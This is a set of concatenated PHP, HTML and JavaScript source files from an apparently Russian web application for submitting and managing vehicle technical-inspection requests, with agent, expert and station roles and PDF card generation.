class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="max_mass">Разрешенная максимальная масса, кг.</label> <div class="controls"> <input validatod="number" id="max_mass" name="max_mass" type="text" placeholder="1350" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="min_mass">Масса без нагрузки, кг. </label> <div class="controls"> <input validatod="number" id="min_mass" name="min_mass" type="text" placeholder="980" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="passport">Паспорт ТС</label> <div class="controls"> <input validatod="text" id="passport" name="passport" type="text" placeholder="78УУ 143634 М? ?­О-4 12.12.12" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> <p class="help-block">Серия, номер. когда и кем выдан</p> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="registration">Свидетельство о регистрации ТС</label> <div class="controls"> <input validatod="text" id="registration" name="registration" type="text" placeholder="78УУ 143634 М? ?­О-4 12.12.12" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> <p class="help-block">Серия, номер, когда и кем выдан</p> </div> </div> </div> <div class="page4"> <!-- Form Name --> <legend> Цена и город</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="city">Город</label> <div class="controls"> <input validatod="text" id="city" name="city" type="text" placeholder="Санкт-Петербург" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="price_number">Стоимость цифрами</label> <div class="controls"> <input validatod="number" id="price_number" name="price_number" type="text" placeholder="153000" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="price_word">Стоимость словами</label> <div class="controls"> <input validatod="text" id="price_word" name="price_word" type="text" placeholder="Сто пятьдесят три тысячи " class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Button --> <div class="control-group"> <label class="control-label" for="submit"></label> <div class="controls"> <button id="submit" name="submit" class="btn btn-primary">Отправить</button> </div> </div> </div> </fieldset> </form> <ul class="pager"> <li><a onclick="previousPage();"> Назад</a></li> <li><a onclick="nextPage();"> Далее</a></li> </ul> </div> <script type="text/javascript"> var page=1; $(document).ready(function(){ $('.page1').hide(); $('.page2').hide(); $('.page3').hide(); $('.page4').hide(); $('.pager').hide(); }); function newDocument(){ $('.page'+page).fadeIn(); $('.pager').fadeIn(); } function nextPage() { if (page==4) return; if(!validateForm("page"+page)) return; $('.page'+page).fadeOut(function(){ page++; $('.page'+page).fadeIn(); }); } function previousPage() { if (page==1) return; $('.page'+page).fadeOut(function(){ page--; $('.page'+page).fadeIn(); console.log(page); }); } function validateTypo(element, pattern,vin) { if(!pattern) pattern = /\S+/ if (!element) return false; value= $(element).val(); parent = $(element).parent().parent(); if (value.match(pattern)) { if (vin) { if (value.length==17) { parent.find("#okay").attr("style",""); parent.find("#remove").attr("style","display:none"); return true; } else { parent.find("#okay").attr("style","display:none"); parent.find("#remove").attr("style",""); return false; } } else { parent.find("#okay").attr("style",""); parent.find("#remove").attr("style","display:none"); return true; } } parent.find("#okay").attr("style","display:none"); parent.find("#remove").attr("style",""); return false; } function validateForm(name) { result = true; form = $("."+name); inputs = form.find($("input")); for (i=0; i < inputs.length;i++) { name = inputs[i].getAttribute("id"); validate = inputs[i].getAttribute("validatod"); if (validate) { if (validate=="text") if (!validateTypo($("#"+name),/[-,._ a-zA-Zа-яА-Я//]+/)) result = false; if (validate=="login") if (!validateTypo($("#"+name),/[_a-zA-Z0-9]{3,15}/)) result = false; if (validate=="VIN") if (!validateTypo($("#"+name),/[A-Z0-9]{17}/,1)) result = false; if (validate=="password") if (!validateTypo($("#"+name),/[_a-zA-Z0-9]{4,16}/)) result = false; if (validate=="number") if (!validateTypo($("#"+name),/\d+/)) result = false; } } return result; } function downloadDocument(id) { window.location.href ="/docs.php?document="+id; } </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script><script type="text/javascript"> var pageTracker = _gat._getTracker("UA-1013490-2"); pageTracker._setDomainName("none"); pageTracker._initData(); pageTracker._trackPageview(); </script> </body> </html><file_sep> <div id='myModal' style="width:580px; " class='modal hide fade' tabindex='-1' role='dialog' aria-labelledby='myModalLabel' aria-hidden='true'> <div class='modal-header'> <button type='button' class='close' data-dismiss='modal' aria-hidden='true'>×</button> <h3 id='myModalLabel'>Modal header</h3> </div> <div id="modal_content" style="max-height:none; overflow:auto; height:500px;" class='modal-body'> <p>Загрузка...</p> </div> <div class='modal-footer' style="/*height: 40px;*/"> <div id="modal_response"> </div> <button style="margin-top: 5px;" id="cancel_modal_button" class='btn' data-dismiss='modal' aria-hidden='true'>Отмена</button> <button style="margin-top: 5px;" id="modal_button" class='btn btn-primary'>Save changes</button> </div> </div> <script> $(document).ready(function() { $('#modal_response').hide(); }); function NewStation() { $('#modal_response').hide(); $('#modal_content').height("500px"); $('#modal_content').load("?event=admin&action=new_station&no_template", function() { $('#myModal').modal('show'); }); document.getElementById("myModalLabel").innerHTML="<p>Добавить станцию</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function RemoveStation(id) { $('#modal_response').hide(); $('#modal_content').height("30px"); document.getElementById("modal_response").innerHTML=""; $('#modal_content').load("?event=admin&action=remove_station&no_template&id="+id); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Удалить станцию</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Delete();"); } function NewRequest() { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').height("500px"); $('#modal_content').load("?event=agent&action=new_request&no_template"); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Добавить заявку</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function CancelRequest(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=agent&action=cancel_request&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Отменить заявку</p>"; document.getElementById("modal_button").innerHTML="Отменить"; document.getElementById("modal_button").setAttribute("onclick","Cancel();"); } function RemoveRequest(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=agent&action=remove_request&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Удалить заявку</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Remove();"); } function EditRequest(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=agent&action=edit_request&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("500px"); document.getElementById("myModalLabel").innerHTML="<p>Изменить заявку</p>"; document.getElementById("modal_button").innerHTML="Сохранить"; document.getElementById("modal_button").setAttribute("onclick","Save();"); } function Start() { $('#modal_response').hide(); $('#myModal').modal('show'); $('#modal_content').load("?event=agent&action=start&no_template"); $('#modal_content').height("500px"); $('#modal_button').hide(); $('#cancel_modal_button').hide(); document.getElementById("myModalLabel").innerHTML="<h2>Добро пожаловать в систему АСТО</h2>"; document.getElementById("modal_button").innerHTML="Добавить"; } function NewAgent() { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').height("500px"); $('#modal_content').load("?event=station&action=new_agent&no_template"); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Добавить агента</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function RemoveAgent(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=remove_agent&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Удалить агента</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Remove();"); } function EditAgent(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=edit_agent&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("500px"); document.getElementById("myModalLabel").innerHTML="<p>Изменить агента</p>"; document.getElementById("modal_button").innerHTML="Сохранить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function NewExpert() { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').height("400px"); $('#modal_content').load("?event=station&action=new_expert&no_template"); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Добавить эксперта</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function RemoveExpert(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=remove_expert&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Удалить эксперта</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Remove();"); } function EditExpert(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=edit_expert&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("400px"); document.getElementById("myModalLabel").innerHTML="<p>Изменить эксперта</p>"; document.getElementById("modal_button").innerHTML="Сохранить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function NewManager() { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').height("250px"); $('#modal_content').load("?event=station&action=new_manager&no_template"); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Добавить менеджера</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function RemoveManager(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=remove_manager&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Удалить менеджера</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Remove();"); } function EditManager(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=edit_manager&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("250px"); document.getElementById("myModalLabel").innerHTML="<p>Изменить менеджера</p>"; document.getElementById("modal_button").innerHTML="Сохранить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function FormRequest(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#myModal').modal('show'); $('#modal_content').height("500px"); document.getElementById("myModalLabel").innerHTML="<p>Заявка</p>"; document.getElementById("modal_button").innerHTML="Отправить в ЕАИСТО"; $('#modal_content').load("?event=station&action=form_request&no_template&id="+id); document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function RemoveRequest_Ex(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=remove_request&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Удалить менеджера</p>"; document.getElementById("modal_button").innerHTML="Удалить"; document.getElementById("modal_button").setAttribute("onclick","Remove();"); } function CancelRequest_Ex(id) { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').load("?event=station&action=cancel_request&no_template&id="+id); $('#myModal').modal('show'); $('#modal_content').height("30px"); document.getElementById("myModalLabel").innerHTML="<p>Отклонинть заявку</p>"; document.getElementById("modal_button").innerHTML="Отклонить"; document.getElementById("modal_button").setAttribute("onclick","Cancel();"); } function NewRequest_Ex() { $('#modal_button').show(); $('#cancel_modal_button').show(); $('#modal_response').hide(); $('#modal_content').height("500px"); $('#modal_content').load("?event=station&action=new_request&no_template"); $('#myModal').modal('show'); document.getElementById("myModalLabel").innerHTML="<p>Добавить заявку</p>"; document.getElementById("modal_button").innerHTML="Добавить"; document.getElementById("modal_button").setAttribute("onclick","isValid();"); } function Search() { $('#modal_response').hide(); $('#myModal').modal('show'); //$('#modal_content').load("?event=agent&action=start&no_template"); $('#modal_content').height("500px"); document.getElementById("myModalLabel").innerHTML="Поиск"; document.getElementById("modal_button").innerHTML="Найти"; } </script> <file_sep><?php class expertController extends Controller { public $rules = array ( "0" => "allow", "2" => "allow", "all" => "deny" ); public function indexAction(){ $this->render("index.php"); } public function RequestAction() { $requests = $this->genRequestsByFilter(); if (count($requests)) { if(isset($_GET['page'])) { echo $this->genRequests($_GET['page'],$requests); } else echo $this->genRequests(1,$requests); } else { $alert = new Alert(); $alert->render("Похоже, что заявки по данным критериям не найдены."); } } private function genRequests($page,array $data) { $table= new Table(); // Создаем таблицу $table->setHeaders(array('card_number'=>'Номер ЕАИСТО','_reg'=>'Рег. данные','_brand'=>'Марка, модель','date_create'=>'Дата','_agent'=>'Агент','status_work'=>'Статус','status_1c'=>'Статус 1С')); // Устанавливаем заголовки $table->setData($data); $table->setOptions(array('page'=>$page)); $table->setWorkCol(); $table->setWorkText(); $table->set1СText(); $table->setSmartAgent(); $table->setNumberCard(); $table->setBrand(); $table->setReg(); $table->setClick("formRequest"); $table->setPayText(); return $table->renderOut(); } public function TreeAction() { $tree = new AgentsTree(); $tree->renderAgentTree($_GET['agent']); } private function genRequestsByFilter() { $requestModel = new Request(); $requests = $requestModel->getAll("date_create DESC"); return $requests; } private function findRequestBySearch($requests) { $number = $_POST['car']; $name = $_POST['name']; if($name == "" && $number == "") return array(); if ($name) { $result = filterArray($requests,array("second_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("first_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("third_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("reg_number"=>$number)); } if ($number) { if(!count($result)) $result = filterArray($requests,array("VIN_number"=>$number)); if(!count($result)) $result = filterArray($requests,array("body"=>$number)); if(!count($result)) $result = filterArray($requests,array("wheels"=>$number)); } return $result; } }<file_sep><?php class Router { private $event; private $action; private $controller; public function __construct($event, $action) { if ($event=="") $event="index"; if ($action=="") $action="index"; $this->event = $event."Controller"; $this->action = $action."Action"; $this->controller = $event; } public function executeController() { $this->controller = new $this->event($this->action,$this->controller); if (method_exists ($this->controller,$this->action)) { $user = User::getInstance(); $userType = $user->type; $rule = $this->controller->rules[$userType]; if ($this->controller->rules["all"] != "allow"){ if ($rule == "allow") { $this->controller->{$this->action}(); return true; } else { echo "Вы не имеете доступа к этому контроллеру. "; die; } } else { $this->controller->{$this->action}(); return true; } } else echo 'Метод не найден'; die; } }<file_sep><?php class agentController extends Controller { public $rules = array ( "1" => "allow", "3" => "allow", "all" => "deny" ); public function indexAction(){ // Агенты $data[0]=$this->genMyAgents(); // Прайсы $data[1]=$this->genMyPrices(); // Даты $data[5] = date('01.m.Y'); $data[6] = date('d.m.Y',strtotime("1 day")); $this->render("index.php",$data); } public function RequestAction() { $requests=$this->genRequestsByFilter(); if (count($requests)) { if(isset($_GET['page'])) { echo $this->genRequests($_GET['page'],$requests); } else echo $this->genRequests(1,$requests); } else { $alert = new Alert(); $alert->render("Похоже, что заявки по данным критериям не найдены."); } } public function StatAction() { $requests=$this->genRequestsByFilter(); // Все заявки $data[0] = count($requests); $paid = filterArray($requests,array('status_pay'=>1)); $unpaid = filterArray($requests,array('status_pay'=>0)); // Оплаченные заявки $data[1] = count($paid); // Неоплаченные заявки $data[2] = count($unpaid); // Считаем мои деньги $data[7] = $this->getPriceSum($requests); $data[8] = $this->getPriceSum($paid); $data[9] = $this->getPriceSum($unpaid); // Считаем то, что нужно отдать $data[10] = $this->getSumByMyPrice($requests); $data[11] = $this->getSumByMyPrice($paid); $data[12] = $this->getSumByMyPrice($unpaid); $data[13] = $data[7] - $data[10]; render('components/Stat.html',$data); } public function formAction() { $user = User::getInstance(); $id = $_GET['id']; $agentModel = new Agent(); if (empty($_POST)) { $agent[0]=$agentModel->getById($id); $agent[1]=$this->genPriceDropdown($id); $this->render("form.php",$agent); } else { $agentModel->setAttributes($_POST); $agentModel->setAttributes(array("date_create"=>date("Y-m-d"),"manager"=>$user->login)); if ($_POST["name"]) { $price = new Price(); $price->setAttributes($_POST); $price->setAttributes(array("id"=>"","date_create"=>date("Y-m-d"),"agent"=>$user->login)); $priceId= $price->save(); $agentModel->setAttributes(array("price"=>$priceId)); } if ($id == null) { $userMdodel = new webUser(); $testLogin = $userMdodel->getByParam("login",$agentModel->getAttribute("login")); if(!empty($testLogin)) { $agent[0] = $_POST; $agent[1] = $this->genPriceDropdownbyId(0); $agent["error"] = "Данный логин уже используется в системе"; unset($_GET); unset($_POST); $this->render("form.php",$agent); return; } } if($id != null) { // Если мы редактируем агента $DB = new SafeMySQL(); $price = $agentModel->getAttribute("price"); $owner=$agentModel->getById($id); if (!$owner) return ; if ($agentModel->validate(array("login"=>true))) { $changes = $DB->getRow("SELECT * FROM Changes WHERE `where` = ?s",$owner['login']); if ($changes != null) { $DB->query("UPDATE Changes set `value` =?s WHERE `where` = ?s",$price,$owner['login'] ); } else { $DB->query("INSERT INTO Changes (`doing`,`where`, `value`) VALUES (?s,?s,?s)","price",$owner['login'],$price); } $agentModel->setAttributes(array("price"=>$owner['price'])); } $agentModel->save(array("login"=>1),false); header( 'Location: /' ); } else { // Если мы создаем нового агента if($agentModel->validate()) $agentModel->save(); $userModel = new webUser(); $userModel->setAttributes($_POST); $userModel->setAttribute(array("password" => md5($userModel->getAttribute("password")))); $userModel->setAttribute(array("type"=>3)); if ($userModel->validate()) { $userModel->save(); } header( 'Location: /' ); } } } public function deleteAction() { $id = $_GET['id']; $agentModel = new Agent(); $agentModel->deleteById($id); header( 'Location: /' ); } public function resetAction() { $id = $_GET['id']; $agentModel = new Agent(); $agentModel->resetById($id); header( 'Location: /' ); } private function genRequestsByFilter() { $User = User::getInstance(); $requestsModel = new Request(); // Создаем модель заявок $requests=array(); if(isset($_POST['my']) && $_POST['my']=='on') $requests = array_merge($requests,$requestsModel->getByLogin($User->login,0)); if(isset($_POST['allMy']) && $_POST['allMy']=='on') $requests = array_merge($requests,$requestsModel->getAllByLogin($User->login,0)); if(isset($_POST['payed']) && $_POST['payed']=='on') $payed = filterArray($requests,array("status_pay"=>1)); if(isset($_POST['unpayed']) && $_POST['unpayed']=='on') $unpayed = filterArray($requests,array("status_pay"=>0)); if(isset($_POST['payed']) && $_POST['payed']=="on" && isset($_POST['unpayed']) && $_POST['unpayed']=="on"){ } else{ $requests = array(); if (isset($_POST['payed'])){ $requests = $payed; } if (isset($_POST['unpayed'])){ $requests = $unpayed; } } if(isset($_POST['car']) || isset($_POST['name']) ) { $requests = array_merge($requests,$requestsModel->getByLogin($User->login,0)); $requests = array_merge($requests,$requestsModel->getAllByLogin($User->login,0)); $requests = $this->findRequestBySearch($requests); } if(isset($_POST['startDate']) && isset($_POST['endDate'])) { preg_match_all ("(\d+)",$_POST['startDate'],$dateArray); $startDate = $dateArray[0][2].'-'.$dateArray[0][1].'-'.$dateArray[0][0]; preg_match_all ("(\d+)",$_POST['endDate'],$dateArray); $endDate = $dateArray[0][2].'-'.$dateArray[0][1].'-'.$dateArray[0][0]; $requests = filterArray($requests,array('startDate' => $startDate, 'endDate' =>$endDate ),1); } usort($requests, 'sorta'); return $requests; } private function findRequestBySearch($requests) { $number = $_POST['car']; $name = $_POST['name']; if($name == "" && $number == "") return $requests; if ($name) { $result = filterArray($requests,array("second_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("first_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("third_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("reg_number"=>$number)); } if ($number) { if(!count($result)) $result = filterArray($requests,array("VIN_number"=>$number)); if(!count($result)) $result = filterArray($requests,array("body"=>$number)); if(!count($result)) $result = filterArray($requests,array("wheels"=>$number)); } return $result; } private function genMyAgents() { $User = User::getInstance(); $agentsModel= new Agent(); // Создаем модель агентов $table= new Table(); // Создаем таблицу $table->setHeaders(array('second_name'=>'ФИО', "price"=>"Прайс")); // Устанавливаем заголовки $table->setData($agentsModel->getAgentsByLogin($User->login)); // Строим с ними таблицу $table->setClick("editAgent"); return $table->renderOut(); } private function genRequests($page,array $data) { $table= new Table(); // Создаем таблицу $table->setHeaders(array('_fullname'=>'ФИО агента','_reg'=>'Рег. данные','_brand'=>'Марка, модель','date_create'=>'Дата','status_pay'=>'Оплата','status_work'=>'Статус',"price"=>"Стоимость","_control"=>"Управление")); // Устанавливаем заголовки $table->setData($data); $table->setOptions(array('page'=>$page)); $table->setReg(); $table->setDownload(); $table->setWorkCol(); $table->setWorkText(); $table->setClick("formRequest"); $table->setPayText(); $table->setFullname(); $table->setBrand(); $table->setPrice(); return $table->renderOut(); } private function genMyPrices() { $User = User::getInstance(); $priceModel = new Price(); $table = new Table(); $prices = $priceModel->getByParam("agent",$User->login); $table->setHeaders(array("name" => "Название","date_create"=>"Дата создания","B" => "Легковые", "C" => "Грузовые")); $table->setData($prices); return $table->renderOut(); } private function getPriceSum( array $requests = array()) { $priceModel= new Price(); $amount=0; foreach ($requests as $request) { $priceId = $request["price"]; $price = $priceModel->getById($priceId); $category = $request["category"]; switch ($category) { case "A": $amount += $price["A"]; break; case "M1": case "N1": $amount += $price["B"]; break; case "N2": case "N3": $amount += $price["C"]; break; case "M2": case "M3": $amount += $price["D"]; break; case "O1": $amount += $price["E_light"]; break; case "O2": case "O3": case "O4": $amount += $price["E_light"]; break; } } return $amount; } private function getSumByMyPrice($requests) { $priceModel= new Price(); $userModel = new Agent(); $user = User::getInstance(); $user=$userModel->getByParam("login",$user->login); $priceId=$user[0]["price"]; $price=$priceModel->getById($priceId); $amount=0; foreach ($requests as $request) { $category = $request["category"]; switch ($category) { case "A": $amount += $price["A"]; break; case "M1": case "N1": $amount += $price["B"]; break; case "N2": case "N3": $amount += $price["C"]; break; case "M2": case "M3": $amount += $price["D"]; break; case "O1": $amount += $price["E_light"]; break; case "O2": case "O3": case "O4": $amount += $price["E_light"]; break; } } return $amount; } private function genPriceDropdown($id) { $user = User::getInstance(); $agentModel = new Agent(); $dropdown = new Dropdown(); $priceModel = new Price(); $agent = $agentModel->getById($id); $selectId = $agent["price"]; $myPrices = $priceModel->getByParam("agent", $user->login); $dropdown->setData($myPrices); $dropdown->setSelect($selectId); $dropdown->setIcon("plus","showNewPrice(event)"); $dropdown->setName("price","Прайс"); return $dropdown->renderOut(); die; } private function genPriceDropdownbyId($id) { $user = User::getInstance(); $agentModel = new Agent(); $dropdown = new Dropdown(); $priceModel = new Price(); $agent = $agentModel->getById($user->$id); $price = $priceModel->getById($id); if ($price['agent'] == $user->login) { $dropdown->setSelect($id); } $myPrices = $priceModel->getByParam("agent", $user->login); $dropdown->setData($myPrices); $dropdown->setIcon("plus","showNewPrice(event)"); $dropdown->setName("price","Прайс"); return $dropdown->renderOut(); } } // НУЖНО СДЕЛАТЬ: // Добавить проверку на владение агентом\заявкой\прайсом //Почистить базу.<file_sep><?php class AgentsTree extends Component { private $agents = array(); public function __construct () { $this->agents = model::getAllFrom("Agents"); } public function render() { $this->renderAgentTree($this->agents[1]); } public function renderAgentTree($agentName) { $agent=model::byLogin("Agents",$agentName); $stop = false; $tree[]=array( "manager" => $agent['manager'], "second_name"=> $agent['second_name'], "login"=>$agent['login']); $testAgent = model::byLogin("Agents",$agent['manager']); while ($stop == false) { // Agent's manager // If it's not "admin" if ($testAgent['manager']) { $tree []= array( "manager" => $testAgent['manager'], "second_name"=> $testAgent['second_name'], "login"=>$testAgent['login']); $testAgent = model::byLogin("Agents",$testAgent['manager']); } else { $stop = true; } } $tree []= array( "manager" => "GOD", "second_name"=> "Администратор", "login"=> "admin"); $tree = array_reverse($tree); foreach ($tree as $agent) { echo " <div style='margin-left: 8px; box-shadow: 1px 1px 8px; border-radius: 3px; text-shadow: 1px 1px 2px rgba(150, 150, 150, 1); background-color:whitesmoke; margin-top: 10px; text-align: center; border: 1px solid black; padding: 10px; width:150px' >".$agent['second_name']." </div> "; } $agentName = $agent['second_name']; } }<file_sep><?php echo includeJsFile("cashier.js"); $filterRequest= new Collapse(); $filterRequest->setData(array("Фильтр"=>renderOut("components/CashierPanel.html",array($data[5],$data[6],'agents' => $data['agents'])),"Поиск" => renderOut("components/Search.html",array($data[5],$data[6]))),"Filter"); ?> <div class="well"> <div style="width: 300px; float:left;"> <h4>Оплата заявок</h4> </div> <br><br> <?php $filterRequest->render(); ?> <div> Итого: <strong id='sum'>0</strong> рублей <a onclick="sendSelected();" class="btn btn-primary">Оплатить</a><br><br> </div> <div id="requestTable"> </div> </div> <script> $(function() { $('body').tooltip({ selector: "[rel=tooltip]", // можете использовать любой селектор placement: "top" }); }); $( document ).ready(function() { updateRequests(1); }); </script> <file_sep> <?php ini_set("display_errors",1); error_reporting(E_ALL ^ E_NOTICE); require_once "data/modules/db.php"; require_once "data/modules/db_ex.php"; require_once "data/modules/user.php"; $MYSQL= DB::getInstance(); $User = User::getInstance(); if (!isset($_GET['id'])) exit(); define('FPDF_FONTPATH','data/controllers/pdf/FPDF/font/'); require('data/controllers/pdf/fpdf_ext.php'); $row=$MYSQL->get("Requests",array("*"), array("id"=>$_GET['id'])); $first_name=$row["first_name"]; $id=$row["id"]; $card_number=$row["card_number"]; $card_in_number=$row["card_in_number"]; $second_name=$row["second_name"]; $third_name=$row["third_name"]; $doc_type=$row["doc_type"]; $seria=$row["seria"]; $number=$row["number"]; $issued_by=$row["issued_by"]; $issued_when=$row["issued_when"]; $reg_number=$row["reg_number"]; $VIN_number=$row["VIN_number"]; $VIN_exist=$row["VIN_exist"]; $brand=$row["brand"]; $model=$row["model"]; $category=$row["category"]; $year_car=$row["year"]; $chassis=$row["chassis"]; $body=$row["body"]; $min_mass=$row["min_mass"]; $max_mass=$row["max_mass"]; $mileage=$row["mileage"]; $wheels=$row["wheels"]; $fuel_type=$row["fuel_type"]; $break_type=$row["break_type"]; $date_exist=$row["date_exist"]; $date_create=$row["date_create"]; $comment=$row["comment"]; if ($comment=="Очередное ТО") $comment=""; $year=substr($issued_when,0,4); $month=substr($issued_when,5,2); $day=substr($issued_when,8,2); $issued_when="$day.$month.$year"; $year=substr($date_exist,0,4); $month=substr($date_exist,5,2); $day=substr($date_exist,8,2); $date_exist="$day.$month.$year"; $year=substr($date_create,0,4); $month=substr($date_create,5,2); $day=substr($date_create,8,2); $date_create="$day$month$year"; if ($doc_type==1) $doc_full="Свидетельство о регистрации"; if ($doc_type==2) $doc_full="Паспорт ТС"; if ($fuel_type==1) $fuel_type="Бензин"; if ($fuel_type==2) $fuel_type="Дизельное топливо"; if ($fuel_type==3) $fuel_type="Сжатый газ"; if ($fuel_type==4) $fuel_type="Сжиженный газ"; if ($break_type==1) $break_type="Гидравлический"; if ($break_type==2) $break_type="Пневматический"; if ($break_type==3) $break_type="Комбинированный"; if ($break_type==4) $break_type="Механический"; if ($category == "M1") $category="Легковая (M1)"; if ($category == "N1") $category="Грузовая (N1)"; if ($category == "M2") $category="Автобус (M2)"; if ($category == "M3") $category="Автобус (M3)"; if ($category == "N2") $category="Грузовая (N2)"; if ($category == "N3") $category="Грузовая (N3)"; if ($category == "A") $category="Мотоцикл (L)"; if ($category == "O1" ) $category="Прицеп (01)"; if ($category == "O2" ) $category="Прицеп (O2)"; if ($category == "O3") $category="Прицеп (O3)"; if ($category == "O4") $category="Прицеп (O4)"; $brand_model=$brand." ".$model; $expert_full=$MYSQL->get("Experts",array("*"), array("id"=>$row["expert"])); $expert=$expert_full['first_name']." ".substr($expert_full['second_name'],0,2).". ".substr($expert_full['third_name'],0,2)."."; $row=$MYSQL->get("Stations",array("*"), array("login"=>$row["station"])); $pdf = new FPDF(); // Создание нового объекта FPDF $pdf->AddPage(); // Добавить страницу $pdf->AddFont('DejaVuSerifCondensed','','DejaVuSerifCondensed.php'); // Устанавливаем кастомный шрифт $pdf->AddFont('Arial-BoldMT','','arial_bold.php'); // Устанавливаем кастомный шрифт $pdf->SetFont('Arial-BoldMT','',9); // Выбираем этот шрифт //$pdf->SetFont('Arial','B',9); // ВЫШЕ НАСТРОЙКИ. МЕНЯТЬ НЕЛЬЗЯ. ТОЛЬКО РАЗМЕР ШРИФТА!!! $pdf->Image("data/controllers/pdf/first_min.jpg","","","210","300"); //$pdf->SetFont('Arial','B',9); //------------№ ДК--------------------------------------------- for ($i=0;$i<21;$i++) { $symbol=substr($card_number,$i,1); $pdf->SetXY(160.3+($i*1.85),0); // Координаты, куда выводить текст 